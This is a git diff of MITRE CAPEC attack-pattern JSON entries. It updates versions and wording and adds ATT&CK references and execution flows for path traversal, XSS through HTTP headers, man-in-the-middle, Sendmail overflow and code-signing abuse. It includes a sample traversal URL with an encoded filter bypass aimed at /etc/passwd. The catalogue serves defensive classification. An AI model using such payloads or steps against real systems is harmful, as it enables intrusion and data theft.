"bundle--50e8a665-e0a3-434f-86f0-a5d8c4715a1e", + "id": "bundle--fc11ee14-f7f4-488a-b245-e472aab3a5d4", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--36fd3642-e601-4392-b25b-48df2fdecf62", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Manipulating Web Input to File System Calls", "description": "An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.", "external_references": [ @@ -109,6 +109,7 @@ "x_capec_example_instances": [ "\n The attacker uses relative path traversal to access files in the application. This is an example of accessing user's password file.\n http://www.example.com/getProfile.jsp?filename=../../../../etc/passwd\n However, the target application employs regular expressions to make sure no relative path sequences are being passed through the application to the web page. The application would replace all matches from this regex with the empty string.\n Then an attacker creates special payloads to bypass this filter:\n http://www.example.com/getProfile.jsp?filename=%2e%2e/%2e%2e/%2e%2e/%2e%2e /etc/passwd\n When the application gets this input string, it will be the desired vector by the attacker.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Fingerprinting of the operating system: In order to create a valid file injection, the attacker needs to know what the underlying OS is.

    2. Techniques
    Port mapping. Identify ports that the system is listening on, and attempt to identify inputs and protocol types on those ports.
    TCP/IP Fingerprinting. The attacker uses various software to make connections or partial connections and observe idiosyncratic responses from the operating system. Using those responses, they attempt to guess the actual operating system.
    Induce errors to find informative error messages

  2. Survey the Application to Identify User-controllable Inputs: The attacker surveys the target application to identify all user-controllable inputs, possibly as a valid and authenticated user

    3. Techniques
    Spider web sites for all available links, entry points to the web site.
    Manually explore application and inventory all application inputs

Experiment

  1. Vary inputs, looking for malicious results: Depending on whether the application being exploited is a remote or local one the attacker crafts the appropriate malicious input containing the path of the targeted file or other file system control syntax to be passed to the application

    2. Techniques
    Inject context-appropriate malicious file path using network packet injection tools (netcat, nemesis, etc.)
    Inject context-appropriate malicious file path using web test frameworks (proxies, TamperData, custom programs, etc.) or simple HTTP requests
    Inject context-appropriate malicious file system control syntax

Exploit

  1. Manipulate files accessible by the application: The attacker may steal information or directly manipulate files (delete, copy, flush, etc.)

    2. Techniques
    The attacker injects context-appropriate malicious file path to access the content of the targeted file.
    The attacker injects context-appropriate malicious file system control syntax to access the content of the targeted file.
    The attacker injects context-appropriate malicious file path to cause the application to create, delete a targeted file.
    The attacker injects context-appropriate malicious file system control syntax to cause the application to create, delete a targeted file.
    The attacker injects context-appropriate malicious file path in order to manipulate the meta-data of the targeted file.
    The attacker injects context-appropriate malicious file system control syntax in order to manipulate the meta-data of the targeted file.
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "Program must allow for user controlled variables to be applied directly to the filesystem" @@ -118,7 +119,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--374de530-29f4-4e14-905f-809f8cae631d.json b/capec/attack-pattern/attack-pattern--374de530-29f4-4e14-905f-809f8cae631d.json index acf7d0d241..56341fe34d 100644 --- a/capec/attack-pattern/attack-pattern--374de530-29f4-4e14-905f-809f8cae631d.json +++ b/capec/attack-pattern/attack-pattern--374de530-29f4-4e14-905f-809f8cae631d.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--f98bea85-2f53-4eab-ba6b-bdc5f08824cc", + "id": "bundle--7d99fc0d-bb88-492b-a578-b997f76df869", "spec_version": "2.0", "objects": [ { @@ -38,7 +38,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--382af8ef-e37e-45d6-818a-cb273ea29f37.json b/capec/attack-pattern/attack-pattern--382af8ef-e37e-45d6-818a-cb273ea29f37.json index dff328e990..b4bd4d20fc 100644 --- a/capec/attack-pattern/attack-pattern--382af8ef-e37e-45d6-818a-cb273ea29f37.json +++ b/capec/attack-pattern/attack-pattern--382af8ef-e37e-45d6-818a-cb273ea29f37.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--defbf07a-3a8b-43d1-83f9-0529167b7c4e", + "id": "bundle--d8ae747b-c8f1-49c3-bca5-0dbd933d51eb", "spec_version": "2.0", "objects": [ { @@ -72,7 +72,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--38964770-4f39-4191-89cf-73a625162b2b.json b/capec/attack-pattern/attack-pattern--38964770-4f39-4191-89cf-73a625162b2b.json index 74e53f3a6d..7f6519c172 100644 --- a/capec/attack-pattern/attack-pattern--38964770-4f39-4191-89cf-73a625162b2b.json +++ b/capec/attack-pattern/attack-pattern--38964770-4f39-4191-89cf-73a625162b2b.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--361566d7-9f76-4dd8-bfda-24fc145b3a1a", + "id": "bundle--20ac9cbe-b0b0-46c9-944f-a300c42cbfd8", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--38964770-4f39-4191-89cf-73a625162b2b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Man in the Middle Attack", - "description": "This type of attack targets the communication between two components (typically client and server). The attacker places himself in the communication channel between the two components. Whenever one component attempts to communicate with the other (data flow, authentication challenges, etc.), the data first goes to the attacker, who has the opportunity to observe or alter it, and it is then passed on to the other component as if it was never observed. This interposition is transparent leaving the two compromised components unaware of the potential corruption or leakage of their communications. The potential for Man-in-the-Middle attacks yields an implicit lack of trust in communication or identify between two components. MITM attacks differ from sniffing attacks since they often modify the communications prior to delivering it to the intended recipient. These attacks also differ from interception attacks since they may forward the sender's original unmodified data, after copying it, instead of keeping it for themselves.", + "description": "This type of attack targets the communication between two components (typically client and server). The attacker places themself in the communication channel between the two components. Whenever one component attempts to communicate with the other (data flow, authentication challenges, etc.), the data first goes to the attacker, who has the opportunity to observe or alter it, and it is then passed on to the other component as if it was never observed. This interposition is transparent leaving the two compromised components unaware of the potential corruption or leakage of their communications. The potential for Man-in-the-Middle attacks yields an implicit lack of trust in communication or identify between two components. MITM attacks differ from sniffing attacks since they often modify the communications prior to delivering it to the intended recipient. These attacks also differ from interception attacks since they may forward the sender's original unmodified data, after copying it, instead of keeping it for themselves.", "external_references": [ { "source_name": "capec", @@ -47,6 +47,18 @@ "url": "http://cwe.mitre.org/data/definitions/724.html", "external_id": "CWE-724" }, + { + "source_name": "ATTACK", + "description": "Man-in-the-Middle", + "url": "https://attack.mitre.org/wiki/Technique/T1557", + "external_id": "T1557" + }, + { + "source_name": "ATTACK", + "description": "Man in the Browser", + "url": "https://attack.mitre.org/wiki/Technique/T1185", + "external_id": "T1185" + }, { "source_name": "reference_from_CAPEC", "description": "M. Bishop, Computer Security: Art and Science, 2003, Addison-Wesley", @@ -73,8 +85,9 @@ ] }, "x_capec_example_instances": [ - "\n Leveraging security vulnerabilities and inherent functionality within web browsers, an adversary may be able to execute a \"Man in the Browser\" (MITB) attack. The initial compromise of this attack is generally a Trojan delivered to a victim's system via phishing attacks, drive-by malware installations, or malicious browser extensions. Once the Trojan is on the victim system, the adversary can observe and intercept traffic such as cookies, HTTP sessions, and SSL client certificate, which may allow for browser pivoting into an authenticated session. MITB attacks also circumvent common security mechanisms such as two and three factor authentication, as well as SSL/PKI.\n For example, after installing a Trojan, an adversary positions himself between the victim and their banking institution. The victim begins by initiating a funds transfer from their personal savings to their personal checking account. Using injected JavaScript, the adversary captures this request and modifies it to transfer an increased amount of funds to an account that he controls, before sending it to the bank. The bank processes the transfer and sends the confirmation notice back to the victim, which is instead intercepted by the adversary. The adversary modifies the confirmation to reflect the original transaction details and sends this modified message back to the victim. Upon receiving the confirmation, the victim assumes the transfer was successful and is unaware that their money has just been transferred to the adversary.\n " + "\n Leveraging security vulnerabilities and inherent functionality within web browsers, an adversary may be able to execute a \"Man in the Browser\" (MITB) attack. The initial compromise of this attack is generally a Trojan delivered to a victim's system via phishing attacks, drive-by malware installations, or malicious browser extensions. Once the Trojan is on the victim system, the adversary can observe and intercept traffic such as cookies, HTTP sessions, and SSL client certificate, which may allow for browser pivoting into an authenticated session. MITB attacks also circumvent common security mechanisms such as two and three factor authentication, as well as SSL/PKI.\n For example, after installing a Trojan, an adversary positions themself between the victim and their banking institution. The victim begins by initiating a funds transfer from their personal savings to their personal checking account. Using injected JavaScript, the adversary captures this request and modifies it to transfer an increased amount of funds to an account that they controls, before sending it to the bank. The bank processes the transfer and sends the confirmation notice back to the victim, which is instead intercepted by the adversary. The adversary modifies the confirmation to reflect the original transaction details and sends this modified message back to the victim. Upon receiving the confirmation, the victim assumes the transfer was successful and is unaware that their money has just been transferred to the adversary.\n " ], + "x_capec_execution_flow": "

Execution Flow

Experiment

  1. The attacker probes to determine the nature and mechanism of communication between two components looking for opportunities to exploit.

  2. The attacker inserts themself into the communication channel initially acting as a routing proxy between the two targeted components. The attacker may or may not have to use cryptography.

Exploit

  1. The attacker observes, filters or alters passed data of its choosing to gain access to sensitive information or to manipulate the actions of the two target components for their own purposes.

", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "There are two components communicating with each other.", @@ -88,7 +101,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--39322012-07ba-4bfc-bac7-10891614ee3e.json b/capec/attack-pattern/attack-pattern--39322012-07ba-4bfc-bac7-10891614ee3e.json index fe6c70b51d..0cbb0e243c 100644 --- a/capec/attack-pattern/attack-pattern--39322012-07ba-4bfc-bac7-10891614ee3e.json +++ b/capec/attack-pattern/attack-pattern--39322012-07ba-4bfc-bac7-10891614ee3e.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--2b209051-6b38-4972-9503-a92db2631804", + "id": "bundle--0008c2ee-0464-4c23-8fc5-61b2e8cdaa79", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--39322012-07ba-4bfc-bac7-10891614ee3e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "XSS Through HTTP Headers", "description": "An adversary exploits web applications that generate web content, such as links in a HTML page, based on unvalidated or improperly validated data submitted by other actors. XSS in HTTP Headers attacks target the HTTP headers which are hidden from most users and may not be validated by web applications.", "external_references": [ @@ -64,10 +64,11 @@ ] }, "x_capec_example_instances": [ - "\n Utilize a remote style sheet set in the HTTP header for XSS attack. When the attacker is able to point to a remote stylesheet, any of the variables set in that stylesheet are controllable on the client side by the remote attacker. Like most XSS attacks, results vary depending on browser that is used.\n ; REL=stylesheet\">\n [R.86.2]\n ", - "\n Google's 404 redirection script was found vulnerable to this attack vector.\n Google's 404 file not found page read\n * Response headers: \"Content-Type: text/html; charset=[encoding]\".\n * Response body: \n If the response sends an unexpected encoding type such as UTF-7, then no enforcement is done on the payload and arbitrary XSS code will be transported along with the standard HTTP response. [R.86.3]\n ", + "\n Utilize a remote style sheet set in the HTTP header for XSS attack. When the attacker is able to point to a remote stylesheet, any of the variables set in that stylesheet are controllable on the client side by the remote attacker. Like most XSS attacks, results vary depending on browser that is used.\n ; REL=stylesheet\">\n [REF-97]\n ", + "\n Google's 404 redirection script was found vulnerable to this attack vector.\n Google's 404 file not found page read\n * Response headers: \"Content-Type: text/html; charset=[encoding]\".\n * Response body: \n If the response sends an unexpected encoding type such as UTF-7, then no enforcement is done on the payload and arbitrary XSS code will be transported along with the standard HTTP response. [REF-476]\n ", "XSS can be used in variety of ways, because it is scripted and executes in a distributed, asynchronous fashion it can create its own vector and openings. For example, the attacker can use XSS to mount a DDoS attack by having series of different computers unknowingly executing requests against a single host." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Spider: Using a browser or an automated tool, an attacker follows all public links on a web site. They record all the entry points (input) that becomes part of generated HTTP header (not only GET/POST/COOKIE, but also Content-Type, etc.)

    2. Techniques
    Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters used in the HTTP headers.
    Look for HTML meta tags that could be injectable
    Use a proxy tool to record all links visited during a manual traversal of the web application.
    Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.

Experiment

  1. [Probe identified potential entry points for XSS vulnerability]The attacker uses the entry points gathered in the \"Explore\" phase as a target list and injects various common script payloads to determine if an entry point actually represents a vulnerability and to characterize the extent to which the vulnerability can be exploited. They record all the responses from the server that include unmodified versions of their script.\n The attacker tries also to inject extra-parameter to the HTTP request to see if they are reflected back in the web page or in the HTTP response.\n

    2. Techniques
    Manually inject various script payloads into each identified entry point using a list of common script injection probes and observe system behavior to determine if script was executed.
    Use an automated injection attack tool to inject various script payloads into each identified entry point using a list of common script injection probes and observe system behavior to determine if script was executed.
    Use a proxy tool to record results of manual input of XSS probes in known URLs.

Exploit

  1. Steal session IDs, credentials, page content, etc.: As the attacker succeeds in exploiting the vulnerability, they can choose to steal user's credentials in order to reuse or to analyze them later on.

    2. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and sends document information to the attacker.
    Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute appropriately.

  2. Forceful browsing: When the attacker targets the current application or another one (through CSRF vulnerabilities), the user will then be the one who perform the attacks without being aware of it. These attacks are mostly targeting application logic flaws, but it can also be used to create a widespread attack against a particular website on the user's current network (Internet or not).

    3. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and performs actions on the same web site
    Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute request to other web sites (especially the web applications that have CSRF vulnerabilities).

  3. Content spoofing: By manipulating the content, the attacker targets the information that the user would like to get from the website.

    4. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and exposes attacker-modified invalid information to the user on the current web page.
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "Target software must be a client that allows scripting communication from remote hosts." @@ -81,7 +82,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--3a089725-f495-452a-a40b-980898ec308c.json b/capec/attack-pattern/attack-pattern--3a089725-f495-452a-a40b-980898ec308c.json index 53b16f2974..c3985776c1 100644 --- a/capec/attack-pattern/attack-pattern--3a089725-f495-452a-a40b-980898ec308c.json +++ b/capec/attack-pattern/attack-pattern--3a089725-f495-452a-a40b-980898ec308c.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--8aad4b8f-dd1c-4a36-af0a-8e056f98e2ac", + "id": "bundle--18bbd4db-8deb-481b-94c2-a34872b1fedf", "spec_version": "2.0", "objects": [ { @@ -32,7 +32,7 @@ "An adversary must be able install a purpose built malicious application onto the device and convince the user to execute it. The malicious application is designed to target a specific web application and is used to load the target web pages via the WebView component. For example, an adversary may develop an application that interacts with Facebook via WebView and adds a new feature that a user desires. The user would install this 3rd party app instead of the Facebook app." ], "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--3a127c86-c569-4de3-a328-1c1b45a9f986.json b/capec/attack-pattern/attack-pattern--3a127c86-c569-4de3-a328-1c1b45a9f986.json index 71e9628a45..8f332b30ef 100644 --- a/capec/attack-pattern/attack-pattern--3a127c86-c569-4de3-a328-1c1b45a9f986.json +++ b/capec/attack-pattern/attack-pattern--3a127c86-c569-4de3-a328-1c1b45a9f986.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--2210b73c-ca96-4f63-9999-5a64df5f14b9", + "id": "bundle--18d2eaf9-2143-4842-be9e-aac01cf6701f", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--3ad3af20-92d7-4315-893f-58223d2183b7.json b/capec/attack-pattern/attack-pattern--3ad3af20-92d7-4315-893f-58223d2183b7.json index 33a39aef92..edf7f8340f 100644 --- a/capec/attack-pattern/attack-pattern--3ad3af20-92d7-4315-893f-58223d2183b7.json +++ b/capec/attack-pattern/attack-pattern--3ad3af20-92d7-4315-893f-58223d2183b7.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--f202c9f7-2ee9-42db-b18b-6223b2ff656c", + "id": "bundle--e03cf4f1-8b27-4ff9-805d-82b27d73ff28", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Meta", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--3b775ca7-4c1d-4078-bc7b-29907b9596f7.json b/capec/attack-pattern/attack-pattern--3b775ca7-4c1d-4078-bc7b-29907b9596f7.json index d04d7b93dd..11f7b1239c 100644 --- a/capec/attack-pattern/attack-pattern--3b775ca7-4c1d-4078-bc7b-29907b9596f7.json +++ b/capec/attack-pattern/attack-pattern--3b775ca7-4c1d-4078-bc7b-29907b9596f7.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--7490529b-da74-4162-a47c-6def5e65c24d", + "id": "bundle--ceb7fbb7-b899-4acb-adcc-ab3248b26c84", "spec_version": "2.0", "objects": [ { @@ -46,7 +46,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--3b7a108f-f42f-42c7-99be-a16ec15ca0ff.json b/capec/attack-pattern/attack-pattern--3b7a108f-f42f-42c7-99be-a16ec15ca0ff.json index 0e18acc883..0237cc65ac 100644 --- a/capec/attack-pattern/attack-pattern--3b7a108f-f42f-42c7-99be-a16ec15ca0ff.json +++ b/capec/attack-pattern/attack-pattern--3b7a108f-f42f-42c7-99be-a16ec15ca0ff.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--39eb790b-c511-4d7f-b261-dc16dea959e6", + "id": "bundle--24f6d920-63a0-41d1-b862-e9ec7691c5b1", "spec_version": "2.0", "objects": [ { @@ -40,7 +40,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--3c08bb9d-43b5-4468-8b38-387c6cb60da7.json b/capec/attack-pattern/attack-pattern--3c08bb9d-43b5-4468-8b38-387c6cb60da7.json index 729bd3875d..86dd631556 100644 --- a/capec/attack-pattern/attack-pattern--3c08bb9d-43b5-4468-8b38-387c6cb60da7.json +++ b/capec/attack-pattern/attack-pattern--3c08bb9d-43b5-4468-8b38-387c6cb60da7.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--01fb4588-5d28-4505-a9df-8e5470cca62a", + "id": "bundle--74afc436-0c76-460f-9633-0d514290473f", "spec_version": "2.0", "objects": [ { @@ -76,6 +76,7 @@ "x_capec_example_instances": [ "\n Attack Example: Sendmail Overflow\n A MIME conversion buffer overflow exists in Sendmail versions 8.8.3 and 8.8.4. Sendmail versions 8.8.3 and 8.8.4 are vulnerable to a buffer overflow in the MIME handling code. By sending a message with specially-crafted headers to the server, a remote attacker can overflow a buffer and execute arbitrary commands on the system with root privileges.\n Sendmail performs a 7 bit to 8 bit conversion on email messages. This vulnerability is due to the fact that insufficient bounds checking was performed while performing these conversions. This gave attacker an opportunity to overwrite the internal stack of sendmail while it is executing with root privileges. An attacker first probes the target system to figure out what mail server is used on the system and what version. An attacker could then test out the exploit at their leisure on their own machine running the same version of the mail server before using it in the wild.See also: CVE-1999-0047" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine whether the mail server is unpatched and is potentially vulnerable to one of the known MIME conversion buffer overflows (e.g. Sendmail 8.8.3 and 8.8.4).

  2. Identify places in the system where vulnerable MIME conversion routines may be used.

Exploit

  1. Send e-mail messages to the target system with specially crafted headers that trigger the buffer overflow and execute the shell code.

", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "The target system uses a mail server.", @@ -87,7 +88,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--3c33e08a-3a4e-4e0f-ae80-6399f6272db7.json b/capec/attack-pattern/attack-pattern--3c33e08a-3a4e-4e0f-ae80-6399f6272db7.json index 66f0aed72c..63b6492c17 100644 --- a/capec/attack-pattern/attack-pattern--3c33e08a-3a4e-4e0f-ae80-6399f6272db7.json +++ b/capec/attack-pattern/attack-pattern--3c33e08a-3a4e-4e0f-ae80-6399f6272db7.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--6abea8f2-4e92-4ced-bb1c-2289007e73dc", + "id": "bundle--51f3775f-922d-4451-a92a-26822082b07c", "spec_version": "2.0", "objects": [ { @@ -41,7 +41,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--3c404955-b160-423f-b148-d4fa4727e3a9.json b/capec/attack-pattern/attack-pattern--3c404955-b160-423f-b148-d4fa4727e3a9.json index b529c372c0..2216d7fdac 100644 --- a/capec/attack-pattern/attack-pattern--3c404955-b160-423f-b148-d4fa4727e3a9.json +++ b/capec/attack-pattern/attack-pattern--3c404955-b160-423f-b148-d4fa4727e3a9.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--f998d5d7-33ca-4617-9741-25fc80267c86", + "id": "bundle--dfae5d3a-6ba7-4223-a1c9-b715d7381efb", "spec_version": "2.0", "objects": [ { @@ -75,6 +75,7 @@ "Attacker uses click-through exploration of a Servlet-based website to map out its functionality, taking note of its URL-naming conventions and Servlet mappings. Using this knowledge and guessing the Servlet name of functionality they're not authorized to use, the Attacker directly navigates to the privileged functionality around the authorizing single-front controller (implementing programmatic authorization checks).", "Attacker reverse-engineers a Java binary (by decompiling it) and identifies where license management code exists. Noticing that the license manager returns TRUE or FALSE as to whether or not the user is licensed, the Attacker simply overwrites both branch targets to return TRUE, recompiles, and finally redeploys the binary." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Probing: The attacker probes, through brute-forcing, reverse-engineering or other similar means, the functionality on the client that server assumes to be present and trustworthy.

    2. Techniques
    The attacker probes by exploring an application's functionality and its underlying mapping to server-side components.
    The attacker reverse engineers client-side code to identify the functionality that the server relies on for the proper or secure operation.

Experiment

  1. Determine which functionality to disable or remove: The attacker tries to determine which functionality to disable or remove through reverse-engineering from the list of functionality identified in the Explore phase.

    2. Techniques
    The attacker reverse engineers the client-side code to determine which functionality to disable or remove.

Exploit

  1. Disable or remove the critical functionality from the client code: Once the functionality has been determined, the attacker disables or removes the critical functionality from the client code to perform malicious actions that the server believes are prohibited.

    2. Techniques
    The attacker disables or removes the functionality from the client-side code to perform malicious actions, such as sending of dangerous content (such as scripts) to the server.
", "x_capec_likelihood_of_attack": "Medium", "x_capec_prerequisites": [ "The targeted server must assume the client performs important actions to protect the server or the server functionality. For example, the server may assume the client filters outbound traffic or that the client performs all price calculations correctly. Moreover, the server must fail to detect when these assumptions are violated by a client." @@ -88,7 +89,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--3c71639a-ebbd-43a4-8d0d-8a0e4cf9ade3.json b/capec/attack-pattern/attack-pattern--3c71639a-ebbd-43a4-8d0d-8a0e4cf9ade3.json index 7586865cb6..52881c29e0 100644 --- a/capec/attack-pattern/attack-pattern--3c71639a-ebbd-43a4-8d0d-8a0e4cf9ade3.json +++ b/capec/attack-pattern/attack-pattern--3c71639a-ebbd-43a4-8d0d-8a0e4cf9ade3.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--10f746eb-c9f9-4c51-8469-1149d4b53bed", + "id": "bundle--bfaa6d37-45c5-4b2f-82da-7aef5ad87d57", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--3c71639a-ebbd-43a4-8d0d-8a0e4cf9ade3", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Signing Malicious Code", "description": "The attacker extracts credentials used for code signing from a production environment and then uses these credentials to sign malicious content with the developer's key. Many developers use signing keys to sign code or hashes of code. When users or applications verify the signatures are accurate they are led to believe that the code came from the owner of the signing key and that the code has not been modified since the signature was applied. If the attacker has extracted the signing credentials then they can use those credentials to sign their own code bundles. Users or tools that verify the signatures attached to the code will likely assume the code came from the legitimate developer and install or run the code, effectively allowing the attacker to execute arbitrary code on the victim's computer.", "external_references": [ @@ -21,6 +21,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/732.html", "external_id": "CWE-732" + }, + { + "source_name": "ATTACK", + "description": "Subvert Trust Controls:Code Signing", + "url": "https://attack.mitre.org/wiki/Technique/T1553/002", + "external_id": "T1553.002" } ], "object_marking_refs": [ @@ -35,7 +41,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--3c9e7b88-a1eb-4cfd-aa34-10df08b23317.json b/capec/attack-pattern/attack-pattern--3c9e7b88-a1eb-4cfd-aa34-10df08b23317.json index 5cd4debd62..59c246a4db 100644 --- a/capec/attack-pattern/attack-pattern--3c9e7b88-a1eb-4cfd-aa34-10df08b23317.json +++ b/capec/attack-pattern/attack-pattern--3c9e7b88-a1eb-4cfd-aa34-10df08b23317.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--de746a01-63f5-4868-9e46-a2883205637d", + "id": "bundle--4c5d8e37-37f8-4b69-b770-6577db2bb8d8", "spec_version": "2.0", "objects": [ { @@ -46,7 +46,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--3cedbb3a-e97f-4bc7-ac36-2c1f0c360d08.json b/capec/attack-pattern/attack-pattern--3cedbb3a-e97f-4bc7-ac36-2c1f0c360d08.json index baf5f37250..4efc4231f4 100644 --- a/capec/attack-pattern/attack-pattern--3cedbb3a-e97f-4bc7-ac36-2c1f0c360d08.json +++ b/capec/attack-pattern/attack-pattern--3cedbb3a-e97f-4bc7-ac36-2c1f0c360d08.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--f33209f7-f064-48da-8c47-b7a2b333b914", + "id": "bundle--6906001a-97be-4a40-b0ae-2fd1dc9d4416", "spec_version": "2.0", "objects": [ { @@ -40,7 +40,7 @@ "This attack pattern requires that the adversary has cooperation from the registrar of the target domain." ], "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--3d5bbdf7-b642-43b4-b4be-d9f35923380d.json b/capec/attack-pattern/attack-pattern--3d5bbdf7-b642-43b4-b4be-d9f35923380d.json index 4280d2b955..dd40cc7f02 100644 --- a/capec/attack-pattern/attack-pattern--3d5bbdf7-b642-43b4-b4be-d9f35923380d.json +++ b/capec/attack-pattern/attack-pattern--3d5bbdf7-b642-43b4-b4be-d9f35923380d.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--4afedcec-3dac-4e7e-829d-265ed976ae92", + "id": "bundle--43c462c2-c1c4-4f34-8a38-22795352be2f", "spec_version": "2.0", "objects": [ { @@ -40,7 +40,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--3da1844e-c905-420a-9179-260356a85a05.json b/capec/attack-pattern/attack-pattern--3da1844e-c905-420a-9179-260356a85a05.json index 7551dd8cfe..5e3cfd154d 100644 --- a/capec/attack-pattern/attack-pattern--3da1844e-c905-420a-9179-260356a85a05.json +++ b/capec/attack-pattern/attack-pattern--3da1844e-c905-420a-9179-260356a85a05.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--78682f43-d129-4ba5-b9fb-0a9e64cef7d1", + "id": "bundle--e49302e1-3ebb-470e-8c7f-61724af46e7d", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": 